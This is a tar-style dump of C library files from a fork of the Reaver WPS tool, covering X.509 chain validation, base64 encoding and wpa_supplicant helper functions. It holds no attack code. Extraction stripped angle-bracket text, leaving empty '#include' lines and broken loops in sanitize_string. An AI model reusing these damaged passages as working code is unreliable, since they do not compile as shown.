wpa_printf(MSG_DEBUG, "X509: digestAlgorithm MD5 does " "not match with certificate " "signatureAlgorithm (%lu)", cert->signature.oid.oid[6]); os_free(data); return -1; } break; case 2: /* md2 */ case 4: /* md4 */ default: wpa_printf(MSG_DEBUG, "X509: Unsupported digestAlgorithm " "(%lu)", oid.oid[5]); os_free(data); return -1; } skip_digest_oid: /* Digest ::= OCTET STRING */ pos = da_end; end = data + data_len; if (asn1_get_next(pos, end - pos, &hdr) < 0 || hdr.class != ASN1_CLASS_UNIVERSAL || hdr.tag != ASN1_TAG_OCTETSTRING) { wpa_printf(MSG_DEBUG, "X509: Expected OCTETSTRING " "(Digest) - found class %d tag 0x%x", hdr.class, hdr.tag); os_free(data); return -1; } wpa_hexdump(MSG_MSGDUMP, "X509: Decrypted Digest", hdr.payload, hdr.length); switch (cert->signature.oid.oid[6]) { case 4: /* md5WithRSAEncryption */ md5_vector(1, &cert->tbs_cert_start, &cert->tbs_cert_len, hash); hash_len = 16; wpa_hexdump(MSG_MSGDUMP, "X509: Certificate hash (MD5)", hash, hash_len); break; case 5: /* sha-1WithRSAEncryption */ sha1_vector(1, &cert->tbs_cert_start, &cert->tbs_cert_len, hash); hash_len = 20; wpa_hexdump(MSG_MSGDUMP, "X509: Certificate hash (SHA1)", hash, hash_len); break; case 11: /* sha256WithRSAEncryption */ sha256_vector(1, &cert->tbs_cert_start, &cert->tbs_cert_len, hash); hash_len = 32; wpa_hexdump(MSG_MSGDUMP, "X509: Certificate hash (SHA256)", hash, hash_len); break; case 2: /* md2WithRSAEncryption */ case 12: /* sha384WithRSAEncryption */ case 13: /* sha512WithRSAEncryption */ default: wpa_printf(MSG_INFO, "X509: Unsupported certificate signature " "algorithm (%lu)", cert->signature.oid.oid[6]); os_free(data); return -1; } if (hdr.length != hash_len || os_memcmp(hdr.payload, hash, hdr.length) != 0) { wpa_printf(MSG_INFO, "X509: Certificate Digest does not match " "with calculated tbsCertificate hash"); os_free(data); return -1; } os_free(data); wpa_printf(MSG_DEBUG, "X509: Certificate Digest matches with " "calculated tbsCertificate hash"); return 0; } static int x509_valid_issuer(const struct x509_certificate *cert) { if ((cert->extensions_present & X509_EXT_BASIC_CONSTRAINTS) && !cert->ca) { wpa_printf(MSG_DEBUG, "X509: Non-CA certificate used as an " "issuer"); return -1; } if (cert->version == X509_CERT_V3 && !(cert->extensions_present & X509_EXT_BASIC_CONSTRAINTS)) { wpa_printf(MSG_DEBUG, "X509: v3 CA certificate did not " "include BasicConstraints extension"); return -1; } if ((cert->extensions_present & X509_EXT_KEY_USAGE) && !(cert->key_usage & X509_KEY_USAGE_KEY_CERT_SIGN)) { wpa_printf(MSG_DEBUG, "X509: Issuer certificate did not have " "keyCertSign bit in Key Usage"); return -1; } return 0; } /** * x509_certificate_chain_validate - Validate X.509 certificate chain * @trusted: List of trusted certificates * @chain: Certificate chain to be validated (first chain must be issued by * signed by the second certificate in the chain and so on) * @reason: Buffer for returning failure reason (X509_VALIDATE_*) * Returns: 0 if chain is valid, -1 if not */ int x509_certificate_chain_validate(struct x509_certificate *trusted, struct x509_certificate *chain, int *reason) { long unsigned idx; int chain_trusted = 0; struct x509_certificate *cert, *trust; char buf[128]; struct os_time now; *reason = X509_VALIDATE_OK; wpa_printf(MSG_DEBUG, "X509: Validate certificate chain"); os_get_time(&now); for (cert = chain, idx = 0; cert; cert = cert->next, idx++) { x509_name_string(&cert->subject, buf, sizeof(buf)); wpa_printf(MSG_DEBUG, "X509: %lu: %s", idx, buf); if (chain_trusted) continue; if ((unsigned long) now.sec < (unsigned long) cert->not_before || (unsigned long) now.sec > (unsigned long) cert->not_after) { wpa_printf(MSG_INFO, "X509: Certificate not valid " "(now=%lu not_before=%lu not_after=%lu)", now.sec, cert->not_before, cert->not_after); *reason = X509_VALIDATE_CERTIFICATE_EXPIRED; return -1; } if (cert->next) { if (x509_name_compare(&cert->issuer, &cert->next->subject) != 0) { wpa_printf(MSG_DEBUG, "X509: Certificate " "chain issuer name mismatch"); x509_name_string(&cert->issuer, buf, sizeof(buf)); wpa_printf(MSG_DEBUG, "X509: cert issuer: %s", buf); x509_name_string(&cert->next->subject, buf, sizeof(buf)); wpa_printf(MSG_DEBUG, "X509: next cert " "subject: %s", buf); *reason = X509_VALIDATE_CERTIFICATE_UNKNOWN; return -1; } if (x509_valid_issuer(cert->next) < 0) { *reason = X509_VALIDATE_BAD_CERTIFICATE; return -1; } if ((cert->next->extensions_present & X509_EXT_PATH_LEN_CONSTRAINT) && idx > cert->next->path_len_constraint) { wpa_printf(MSG_DEBUG, "X509: pathLenConstraint" " not met (idx=%lu issuer " "pathLenConstraint=%lu)", idx, cert->next->path_len_constraint); *reason = X509_VALIDATE_BAD_CERTIFICATE; return -1; } if (x509_certificate_check_signature(cert->next, cert) < 0) { wpa_printf(MSG_DEBUG, "X509: Invalid " "certificate signature within " "chain"); *reason = X509_VALIDATE_BAD_CERTIFICATE; return -1; } } for (trust = trusted; trust; trust = trust->next) { if (x509_name_compare(&cert->issuer, &trust->subject) == 0) break; } if (trust) { wpa_printf(MSG_DEBUG, "X509: Found issuer from the " "list of trusted certificates"); if (x509_valid_issuer(trust) < 0) { *reason = X509_VALIDATE_BAD_CERTIFICATE; return -1; } if (x509_certificate_check_signature(trust, cert) < 0) { wpa_printf(MSG_DEBUG, "X509: Invalid " "certificate signature"); *reason = X509_VALIDATE_BAD_CERTIFICATE; return -1; } wpa_printf(MSG_DEBUG, "X509: Trusted certificate " "found to complete the chain"); chain_trusted = 1; } } if (!chain_trusted) { wpa_printf(MSG_DEBUG, "X509: Did not find any of the issuers " "from the list of trusted certificates"); if (trusted) { *reason = X509_VALIDATE_UNKNOWN_CA; return -1; } wpa_printf(MSG_DEBUG, "X509: Certificate chain validation " "disabled - ignore unknown CA issue"); } wpa_printf(MSG_DEBUG, "X509: Certificate chain valid"); return 0; } /** * x509_certificate_get_subject - Get a certificate based on Subject name * @chain: Certificate chain to search through * @name: Subject name to search for * Returns: Pointer to the certificate with the given Subject name or * %NULL on failure */ struct x509_certificate * x509_certificate_get_subject(struct x509_certificate *chain, struct x509_name *name) { struct x509_certificate *cert; for (cert = chain; cert; cert = cert->next) { if (x509_name_compare(&cert->subject, name) == 0) return cert; } return NULL; } /** * x509_certificate_self_signed - Is the certificate self-signed? * @cert: Certificate * Returns: 1 if certificate is self-signed, 0 if not */ int x509_certificate_self_signed(struct x509_certificate *cert) { return x509_name_compare(&cert->issuer, &cert->subject) == 0; } reaver-wps-fork-t6x-1.6.6/src/tls/x509v3.h000077500000000000000000000072721363372615500200430ustar00rootroot00000000000000/* * X.509v3 certificate parsing and processing * Copyright (c) 2006, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #ifndef X509V3_H #define X509V3_H #include "asn1.h" struct x509_algorithm_identifier { struct asn1_oid oid; }; struct x509_name_attr { enum x509_name_attr_type { X509_NAME_ATTR_NOT_USED, X509_NAME_ATTR_DC, X509_NAME_ATTR_CN, X509_NAME_ATTR_C, X509_NAME_ATTR_L, X509_NAME_ATTR_ST, X509_NAME_ATTR_O, X509_NAME_ATTR_OU } type; char *value; }; #define X509_MAX_NAME_ATTRIBUTES 20 struct x509_name { struct x509_name_attr attr[X509_MAX_NAME_ATTRIBUTES]; size_t num_attr; char *email; /* emailAddress */ /* from alternative name extension */ char *alt_email; /* rfc822Name */ char *dns; /* dNSName */ char *uri; /* uniformResourceIdentifier */ u8 *ip; /* iPAddress */ size_t ip_len; /* IPv4: 4, IPv6: 16 */ struct asn1_oid rid; /* registeredID */ }; struct x509_certificate { struct x509_certificate *next; enum { X509_CERT_V1 = 0, X509_CERT_V2 = 1, X509_CERT_V3 = 2 } version; unsigned long serial_number; struct x509_algorithm_identifier signature; struct x509_name issuer; struct x509_name subject; os_time_t not_before; os_time_t not_after; struct x509_algorithm_identifier public_key_alg; u8 *public_key; size_t public_key_len; struct x509_algorithm_identifier signature_alg; u8 *sign_value; size_t sign_value_len; /* Extensions */ unsigned int extensions_present; #define X509_EXT_BASIC_CONSTRAINTS (1 << 0) #define X509_EXT_PATH_LEN_CONSTRAINT (1 << 1) #define X509_EXT_KEY_USAGE (1 << 2) #define X509_EXT_SUBJECT_ALT_NAME (1 << 3) #define X509_EXT_ISSUER_ALT_NAME (1 << 4) /* BasicConstraints */ int ca; /* cA */ unsigned long path_len_constraint; /* pathLenConstraint */ /* KeyUsage */ unsigned long key_usage; #define X509_KEY_USAGE_DIGITAL_SIGNATURE (1 << 0) #define X509_KEY_USAGE_NON_REPUDIATION (1 << 1) #define X509_KEY_USAGE_KEY_ENCIPHERMENT (1 << 2) #define X509_KEY_USAGE_DATA_ENCIPHERMENT (1 << 3) #define X509_KEY_USAGE_KEY_AGREEMENT (1 << 4) #define X509_KEY_USAGE_KEY_CERT_SIGN (1 << 5) #define X509_KEY_USAGE_CRL_SIGN (1 << 6) #define X509_KEY_USAGE_ENCIPHER_ONLY (1 << 7) #define X509_KEY_USAGE_DECIPHER_ONLY (1 << 8) /* * The DER format certificate follows struct x509_certificate. These * pointers point to that buffer. */ const u8 *cert_start; size_t cert_len; const u8 *tbs_cert_start; size_t tbs_cert_len; }; enum { X509_VALIDATE_OK, X509_VALIDATE_BAD_CERTIFICATE, X509_VALIDATE_UNSUPPORTED_CERTIFICATE, X509_VALIDATE_CERTIFICATE_REVOKED, X509_VALIDATE_CERTIFICATE_EXPIRED, X509_VALIDATE_CERTIFICATE_UNKNOWN, X509_VALIDATE_UNKNOWN_CA }; void x509_certificate_free(struct x509_certificate *cert); struct x509_certificate * x509_certificate_parse(const u8 *buf, size_t len); void x509_name_string(struct x509_name *name, char *buf, size_t len); int x509_name_compare(struct x509_name *a, struct x509_name *b); void x509_certificate_chain_free(struct x509_certificate *cert); int x509_certificate_check_signature(struct x509_certificate *issuer, struct x509_certificate *cert); int x509_certificate_chain_validate(struct x509_certificate *trusted, struct x509_certificate *chain, int *reason); struct x509_certificate * x509_certificate_get_subject(struct x509_certificate *chain, struct x509_name *name); int x509_certificate_self_signed(struct x509_certificate *cert); #endif /* X509V3_H */ reaver-wps-fork-t6x-1.6.6/src/utils/000077500000000000000000000000001363372615500172375ustar00rootroot00000000000000reaver-wps-fork-t6x-1.6.6/src/utils/base64.c000077500000000000000000000067671363372615500205120ustar00rootroot00000000000000/* * Base64 encoding/decoding (RFC1341) * Copyright (c) 2005, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "os.h" #include "base64.h" static const unsigned char base64_table[65] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; /** * base64_encode - Base64 encode * @src: Data to be encoded * @len: Length of the data to be encoded * @out_len: Pointer to output length variable, or %NULL if not used * Returns: Allocated buffer of out_len bytes of encoded data, * or %NULL on failure * * Caller is responsible for freeing the returned buffer. Returned buffer is * nul terminated to make it easier to use as a C string. The nul terminator is * not included in out_len. */ unsigned char * base64_encode(const unsigned char *src, size_t len, size_t *out_len) { unsigned char *out, *pos; const unsigned char *end, *in; size_t olen; int line_len; olen = len * 4 / 3 + 4; /* 3-byte blocks to 4-byte */ olen += olen / 72; /* line feeds */ olen++; /* nul termination */ if (olen < len) return NULL; /* integer overflow */ out = os_malloc(olen); if (out == NULL) return NULL; end = src + len; in = src; pos = out; line_len = 0; while (end - in >= 3) { *pos++ = base64_table[in[0] >> 2]; *pos++ = base64_table[((in[0] & 0x03) << 4) | (in[1] >> 4)]; *pos++ = base64_table[((in[1] & 0x0f) << 2) | (in[2] >> 6)]; *pos++ = base64_table[in[2] & 0x3f]; in += 3; line_len += 4; if (line_len >= 72) { *pos++ = '\n'; line_len = 0; } } if (end - in) { *pos++ = base64_table[in[0] >> 2]; if (end - in == 1) { *pos++ = base64_table[(in[0] & 0x03) << 4]; *pos++ = '='; } else { *pos++ = base64_table[((in[0] & 0x03) << 4) | (in[1] >> 4)]; *pos++ = base64_table[(in[1] & 0x0f) << 2]; } *pos++ = '='; line_len += 4; } if (line_len) *pos++ = '\n'; *pos = '\0'; if (out_len) *out_len = pos - out; return out; } /** * base64_decode - Base64 decode * @src: Data to be decoded * @len: Length of the data to be decoded * @out_len: Pointer to output length variable * Returns: Allocated buffer of out_len bytes of decoded data, * or %NULL on failure * * Caller is responsible for freeing the returned buffer. */ unsigned char * base64_decode(const unsigned char *src, size_t len, size_t *out_len) { unsigned char dtable[256], *out, *pos, in[4], block[4], tmp; size_t i, count, olen; os_memset(dtable, 0x80, 256); for (i = 0; i < sizeof(base64_table) - 1; i++) dtable[base64_table[i]] = (unsigned char) i; dtable['='] = 0; count = 0; for (i = 0; i < len; i++) { if (dtable[src[i]] != 0x80) count++; } if (count == 0 || count % 4) return NULL; olen = count / 4 * 3; pos = out = os_malloc(olen); if (out == NULL) return NULL; count = 0; for (i = 0; i < len; i++) { tmp = dtable[src[i]]; if (tmp == 0x80) continue; in[count] = src[i]; block[count] = tmp; count++; if (count == 4) { *pos++ = (block[0] << 2) | (block[1] >> 4); *pos++ = (block[1] << 4) | (block[2] >> 2); *pos++ = (block[2] << 6) | block[3]; count = 0; } } if (pos > out) { if (in[2] == '=') pos -= 2; else if (in[3] == '=') pos--; } *out_len = pos - out; return out; } reaver-wps-fork-t6x-1.6.6/src/utils/base64.h000077500000000000000000000012331363372615500204760ustar00rootroot00000000000000/* * Base64 encoding/decoding (RFC1341) * Copyright (c) 2005, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #ifndef BASE64_H #define BASE64_H unsigned char * base64_encode(const unsigned char *src, size_t len, size_t *out_len); unsigned char * base64_decode(const unsigned char *src, size_t len, size_t *out_len); #endif /* BASE64_H */ reaver-wps-fork-t6x-1.6.6/src/utils/build_config.h000077500000000000000000000052261363372615500220440ustar00rootroot00000000000000/* * wpa_supplicant/hostapd - Build time configuration defines * Copyright (c) 2005-2006, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. * * This header file can be used to define configuration defines that were * originally defined in Makefile. This is mainly meant for IDE use or for * systems that do not have suitable 'make' tool. In these cases, it may be * easier to have a single place for defining all the needed C pre-processor * defines. */ #ifndef BUILD_CONFIG_H #define BUILD_CONFIG_H /* Insert configuration defines, e.g., #define EAP_MD5, here, if needed. */ #ifdef CONFIG_WIN32_DEFAULTS #define CONFIG_NATIVE_WINDOWS #define CONFIG_ANSI_C_EXTRA #define CONFIG_WINPCAP #define IEEE8021X_EAPOL #define PKCS12_FUNCS #define PCSC_FUNCS #define CONFIG_CTRL_IFACE #define CONFIG_CTRL_IFACE_NAMED_PIPE #define CONFIG_DRIVER_NDIS #define CONFIG_NDIS_EVENTS_INTEGRATED #define CONFIG_DEBUG_FILE #define EAP_MD5 #define EAP_TLS #define EAP_MSCHAPv2 #define EAP_PEAP #define EAP_TTLS #define EAP_GTC #define EAP_OTP #define EAP_LEAP #define EAP_TNC #define _CRT_SECURE_NO_DEPRECATE #ifdef USE_INTERNAL_CRYPTO #define CONFIG_TLS_INTERNAL_CLIENT #define CONFIG_INTERNAL_LIBTOMMATH #define CONFIG_CRYPTO_INTERNAL #endif /* USE_INTERNAL_CRYPTO */ #endif /* CONFIG_WIN32_DEFAULTS */ #ifdef __SYMBIAN32__ #define OS_NO_C_LIB_DEFINES #define CONFIG_ANSI_C_EXTRA #define CONFIG_NO_WPA_MSG #define CONFIG_NO_HOSTAPD_LOGGER #define CONFIG_NO_STDOUT_DEBUG #define CONFIG_BACKEND_FILE #define CONFIG_INTERNAL_LIBTOMMATH #define CONFIG_CRYPTO_INTERNAL #define IEEE8021X_EAPOL #define PKCS12_FUNCS #define EAP_MD5 #define EAP_TLS #define EAP_MSCHAPv2 #define EAP_PEAP #define EAP_TTLS #define EAP_GTC #define EAP_OTP #define EAP_LEAP #define EAP_FAST #endif /* __SYMBIAN32__ */ #ifdef CONFIG_XCODE_DEFAULTS #define CONFIG_DRIVER_OSX #define CONFIG_BACKEND_FILE #define IEEE8021X_EAPOL #define PKCS12_FUNCS #define CONFIG_CTRL_IFACE #define CONFIG_CTRL_IFACE_UNIX #define CONFIG_DEBUG_FILE #define EAP_MD5 #define EAP_TLS #define EAP_MSCHAPv2 #define EAP_PEAP #define EAP_TTLS #define EAP_GTC #define EAP_OTP #define EAP_LEAP #define EAP_TNC #define CONFIG_WPS #define EAP_WSC #ifdef USE_INTERNAL_CRYPTO #define CONFIG_TLS_INTERNAL_CLIENT #define CONFIG_INTERNAL_LIBTOMMATH #define CONFIG_CRYPTO_INTERNAL #endif /* USE_INTERNAL_CRYPTO */ #endif /* CONFIG_XCODE_DEFAULTS */ #endif /* BUILD_CONFIG_H */ reaver-wps-fork-t6x-1.6.6/src/utils/common.c000077500000000000000000000214361363372615500207040ustar00rootroot00000000000000/* * wpa_supplicant/hostapd / common helper functions, etc. * Copyright (c) 2002-2007, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "common.h" static int hex2num(char c) { if (c >= '0' && c <= '9') return c - '0'; if (c >= 'a' && c <= 'f') return c - 'a' + 10; if (c >= 'A' && c <= 'F') return c - 'A' + 10; return -1; } static int hex2byte(const char *hex) { int a, b; a = hex2num(*hex++); if (a < 0) return -1; b = hex2num(*hex++); if (b < 0) return -1; return (a << 4) | b; } /** * hwaddr_aton - Convert ASCII string to MAC address (colon-delimited format) * @txt: MAC address as a string (e.g., "00:11:22:33:44:55") * @addr: Buffer for the MAC address (ETH_ALEN = 6 bytes) * Returns: 0 on success, -1 on failure (e.g., string not a MAC address) */ int hwaddr_aton(const char *txt, u8 *addr) { int i; for (i = 0; i < 6; i++) { int a, b; a = hex2num(*txt++); if (a < 0) return -1; b = hex2num(*txt++); if (b < 0) return -1; *addr++ = (a << 4) | b; if (i < 5 && *txt++ != ':') return -1; } return 0; } /** * hwaddr_aton2 - Convert ASCII string to MAC address (in any known format) * @txt: MAC address as a string (e.g., 00:11:22:33:44:55 or 0011.2233.4455) * @addr: Buffer for the MAC address (ETH_ALEN = 6 bytes) * Returns: Characters used (> 0) on success, -1 on failure */ int hwaddr_aton2(const char *txt, u8 *addr) { int i; const char *pos = txt; for (i = 0; i < 6; i++) { int a, b; while (*pos == ':' || *pos == '.' || *pos == '-') pos++; a = hex2num(*pos++); if (a < 0) return -1; b = hex2num(*pos++); if (b < 0) return -1; *addr++ = (a << 4) | b; } return pos - txt; } /** * hexstr2bin - Convert ASCII hex string into binary data * @hex: ASCII hex string (e.g., "01ab") * @buf: Buffer for the binary data * @len: Length of the text to convert in bytes (of buf); hex will be double * this size * Returns: 0 on success, -1 on failure (invalid hex string) */ int hexstr2bin(const char *hex, u8 *buf, size_t len) { size_t i; int a; const char *ipos = hex; u8 *opos = buf; for (i = 0; i < len; i++) { a = hex2byte(ipos); if (a < 0) return -1; *opos++ = a; ipos += 2; } return 0; } /** * inc_byte_array - Increment arbitrary length byte array by one * @counter: Pointer to byte array * @len: Length of the counter in bytes * * This function increments the last byte of the counter by one and continues * rolling over to more significant bytes if the byte was incremented from * 0xff to 0x00. */ void inc_byte_array(u8 *counter, size_t len) { int pos = len - 1; while (pos >= 0) { counter[pos]++; if (counter[pos] != 0) break; pos--; } } void wpa_get_ntp_timestamp(u8 *buf) { struct os_time now; u32 sec, usec; be32 tmp; /* 64-bit NTP timestamp (time from 1900-01-01 00:00:00) */ os_get_time(&now); sec = now.sec + 2208988800U; /* Epoch to 1900 */ /* Estimate 2^32/10^6 = 4295 - 1/32 - 1/512 */ usec = now.usec; usec = 4295 * usec - (usec >> 5) - (usec >> 9); tmp = host_to_be32(sec); os_memcpy(buf, (u8 *) &tmp, 4); tmp = host_to_be32(usec); os_memcpy(buf + 4, (u8 *) &tmp, 4); } static inline int _wpa_snprintf_hex(char *buf, size_t buf_size, const u8 *data, size_t len, int uppercase) { size_t i; char *pos = buf, *end = buf + buf_size; int ret; if (buf_size == 0) return 0; for (i = 0; i < len; i++) { ret = os_snprintf(pos, end - pos, uppercase ? "%02X" : "%02x", data[i]); if (ret < 0 || ret >= end - pos) { end[-1] = '\0'; return pos - buf; } pos += ret; } end[-1] = '\0'; return pos - buf; } /** * wpa_snprintf_hex - Print data as a hex string into a buffer * @buf: Memory area to use as the output buffer * @buf_size: Maximum buffer size in bytes (should be at least 2 * len + 1) * @data: Data to be printed * @len: Length of data in bytes * Returns: Number of bytes written */ int wpa_snprintf_hex(char *buf, size_t buf_size, const u8 *data, size_t len) { return _wpa_snprintf_hex(buf, buf_size, data, len, 0); } /** * wpa_snprintf_hex_uppercase - Print data as a upper case hex string into buf * @buf: Memory area to use as the output buffer * @buf_size: Maximum buffer size in bytes (should be at least 2 * len + 1) * @data: Data to be printed * @len: Length of data in bytes * Returns: Number of bytes written */ int wpa_snprintf_hex_uppercase(char *buf, size_t buf_size, const u8 *data, size_t len) { return _wpa_snprintf_hex(buf, buf_size, data, len, 1); } #ifdef CONFIG_ANSI_C_EXTRA #ifdef _WIN32_WCE void perror(const char *s) { wpa_printf(MSG_ERROR, "%s: GetLastError: %d", s, (int) GetLastError()); } #endif /* _WIN32_WCE */ int optind = 1; int optopt; char *optarg; int getopt(int argc, char *const argv[], const char *optstring) { static int optchr = 1; char *cp; if (optchr == 1) { if (optind >= argc) { /* all arguments processed */ return EOF; } if (argv[optind][0] != '-' || argv[optind][1] == '\0') { /* no option characters */ return EOF; } } if (os_strcmp(argv[optind], "--") == 0) { /* no more options */ optind++; return EOF; } optopt = argv[optind][optchr]; cp = os_strchr(optstring, optopt); if (cp == NULL || optopt == ':') { if (argv[optind][++optchr] == '\0') { optchr = 1; optind++; } return '?'; } if (cp[1] == ':') { /* Argument required */ optchr = 1; if (argv[optind][optchr + 1]) { /* No space between option and argument */ optarg = &argv[optind++][optchr + 1]; } else if (++optind >= argc) { /* option requires an argument */ return '?'; } else { /* Argument in the next argv */ optarg = argv[optind++]; } } else { /* No argument */ if (argv[optind][++optchr] == '\0') { optchr = 1; optind++; } optarg = NULL; } return *cp; } #endif /* CONFIG_ANSI_C_EXTRA */ #ifdef CONFIG_NATIVE_WINDOWS /** * wpa_unicode2ascii_inplace - Convert unicode string into ASCII * @str: Pointer to string to convert * * This function converts a unicode string to ASCII using the same * buffer for output. If UNICODE is not set, the buffer is not * modified. */ void wpa_unicode2ascii_inplace(TCHAR *str) { #ifdef UNICODE char *dst = (char *) str; while (*str) *dst++ = (char) *str++; *dst = '\0'; #endif /* UNICODE */ } TCHAR * wpa_strdup_tchar(const char *str) { #ifdef UNICODE TCHAR *buf; buf = os_malloc((strlen(str) + 1) * sizeof(TCHAR)); if (buf == NULL) return NULL; wsprintf(buf, L"%S", str); return buf; #else /* UNICODE */ return os_strdup(str); #endif /* UNICODE */ } #endif /* CONFIG_NATIVE_WINDOWS */ /** * wpa_ssid_txt - Convert SSID to a printable string * @ssid: SSID (32-octet string) * @ssid_len: Length of ssid in octets * Returns: Pointer to a printable string * * This function can be used to convert SSIDs into printable form. In most * cases, SSIDs do not use unprintable characters, but IEEE 802.11 standard * does not limit the used character set, so anything could be used in an SSID. * * This function uses a static buffer, so only one call can be used at the * time, i.e., this is not re-entrant and the returned buffer must be used * before calling this again. */ const char * wpa_ssid_txt(const u8 *ssid, size_t ssid_len) { static char ssid_txt[33]; char *pos; if (ssid_len > 32) ssid_len = 32; os_memcpy(ssid_txt, ssid, ssid_len); ssid_txt[ssid_len] = '\0'; for (pos = ssid_txt; *pos != '\0'; pos++) { if ((u8) *pos < 32 || (u8) *pos >= 127) *pos = '_'; } return ssid_txt; } void * __hide_aliasing_typecast(void *foo) { return foo; } char* sanitize_string(const char *s) { if(!s) return strdup("(null)"); size_t i,j, l = strlen(s), ls=l; for(i=0;i 127) l += 4; char *new = malloc(l+1); if(!new) return 0; for(i=0,j=0;i 127) { sprintf(new + j, "\\\\x%02x", s[i] & 0xff); j += 4; } else new[j] = s[i]; j++; } new[j] = 0; return new; } int verifyssid(const unsigned char *s) { int i; unsigned char c; if(!s || strlen(s)>32) { //32 characters return 0; } for (i = 0; (c = s[i++]);) { if ((c & 0x80) == 0) {//ascii flag if(c < 0x20 || c == 0x7f) { return 0; } } else if ((c & 0xe0) == 0xc0) {//utf8 flag if ((s[i++] & 0xc0) != 0x80) { return 0; } } else if ((c & 0xf0) == 0xe0) {//utf8 flag if ((s[i++] & 0xc0) != 0x80 || (s[i++] & 0xc0) != 0x80) { return 0; } } else if ((c & 0xf8) == 0xf0) {//utf8 flag if ((s[i++] & 0xc0) != 0x80 || (s[i++] & 0xc0) != 0x80 || (s[i++] & 0xc0) != 0x80) { return 0; } } else { return 0; } } return 1; } reaver-wps-fork-t6x-1.6.6/src/utils/common.h000077500000000000000000000313151363372615500207060ustar00rootroot00000000000000/* * wpa_supplicant/hostapd / common helper functions, etc. * Copyright (c) 2002-2007, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #ifndef COMMON_H #define COMMON_H #include "os.h" #if defined(__linux__) || defined(__GLIBC__) #include #include #endif /* __linux__ */ #if defined(__FreeBSD__) || defined(__NetBSD__) || defined(__DragonFly__) || \ defined(__OpenBSD__) #include #include #define __BYTE_ORDER _BYTE_ORDER #define __LITTLE_ENDIAN _LITTLE_ENDIAN #define __BIG_ENDIAN _BIG_ENDIAN #ifdef __OpenBSD__ #define bswap_16 swap16 #define bswap_32 swap32 #define bswap_64 swap64 #else /* __OpenBSD__ */ #define bswap_16 bswap16 #define bswap_32 bswap32 #define bswap_64 bswap64 #endif /* __OpenBSD__ */ #endif /* defined(__FreeBSD__) || defined(__NetBSD__) || * defined(__DragonFly__) || defined(__OpenBSD__) */ #ifdef __APPLE__ #include #include #define __BYTE_ORDER _BYTE_ORDER #define __LITTLE_ENDIAN _LITTLE_ENDIAN #define __BIG_ENDIAN _BIG_ENDIAN static inline unsigned short bswap_16(unsigned short v) { return ((v & 0xff) << 8) | (v >> 8); } static inline unsigned int bswap_32(unsigned int v) { return ((v & 0xff) << 24) | ((v & 0xff00) << 8) | ((v & 0xff0000) >> 8) | (v >> 24); } #endif /* __APPLE__ */ #ifdef CONFIG_TI_COMPILER #define __BIG_ENDIAN 4321 #define __LITTLE_ENDIAN 1234 #ifdef __big_endian__ #define __BYTE_ORDER __BIG_ENDIAN #else #define __BYTE_ORDER __LITTLE_ENDIAN #endif #endif /* CONFIG_TI_COMPILER */ #ifdef __SYMBIAN32__ #define __BIG_ENDIAN 4321 #define __LITTLE_ENDIAN 1234 #define __BYTE_ORDER __LITTLE_ENDIAN #endif /* __SYMBIAN32__ */ #ifdef CONFIG_NATIVE_WINDOWS #include typedef int socklen_t; #ifndef MSG_DONTWAIT #define MSG_DONTWAIT 0 /* not supported */ #endif #endif /* CONFIG_NATIVE_WINDOWS */ #ifdef _MSC_VER #define inline __inline #undef vsnprintf #define vsnprintf _vsnprintf #undef close #define close closesocket #endif /* _MSC_VER */ /* Define platform specific integer types */ #ifdef _MSC_VER typedef UINT64 u64; typedef UINT32 u32; typedef UINT16 u16; typedef UINT8 u8; typedef INT64 s64; typedef INT32 s32; typedef INT16 s16; typedef INT8 s8; #define WPA_TYPES_DEFINED #endif /* _MSC_VER */ #ifdef __vxworks typedef unsigned long long u64; typedef UINT32 u32; typedef UINT16 u16; typedef UINT8 u8; typedef long long s64; typedef INT32 s32; typedef INT16 s16; typedef INT8 s8; #define WPA_TYPES_DEFINED #endif /* __vxworks */ #ifdef CONFIG_TI_COMPILER #ifdef _LLONG_AVAILABLE typedef unsigned long long u64; #else /* * TODO: 64-bit variable not available. Using long as a workaround to test the * build, but this will likely not work for all operations. */ typedef unsigned long u64; #endif typedef unsigned int u32; typedef unsigned short u16; typedef unsigned char u8; #define WPA_TYPES_DEFINED #endif /* CONFIG_TI_COMPILER */ #ifdef __SYMBIAN32__ #define __REMOVE_PLATSEC_DIAGNOSTICS__ #include typedef TUint64 u64; typedef TUint32 u32; typedef TUint16 u16; typedef TUint8 u8; #define WPA_TYPES_DEFINED #endif /* __SYMBIAN32__ */ #ifndef WPA_TYPES_DEFINED #ifdef CONFIG_USE_INTTYPES_H #include #else #include #endif typedef uint64_t u64; typedef uint32_t u32; typedef uint16_t u16; typedef uint8_t u8; typedef int64_t s64; typedef int32_t s32; typedef int16_t s16; typedef int8_t s8; #define WPA_TYPES_DEFINED #endif /* !WPA_TYPES_DEFINED */ /* Define platform specific byte swapping macros */ #if defined(__CYGWIN__) || defined(CONFIG_NATIVE_WINDOWS) static inline unsigned short wpa_swap_16(unsigned short v) { return ((v & 0xff) << 8) | (v >> 8); } static inline unsigned int wpa_swap_32(unsigned int v) { return ((v & 0xff) << 24) | ((v & 0xff00) << 8) | ((v & 0xff0000) >> 8) | (v >> 24); } #define le_to_host16(n) (n) #define host_to_le16(n) (n) #define be_to_host16(n) wpa_swap_16(n) #define host_to_be16(n) wpa_swap_16(n) #define le_to_host32(n) (n) #define be_to_host32(n) wpa_swap_32(n) #define host_to_be32(n) 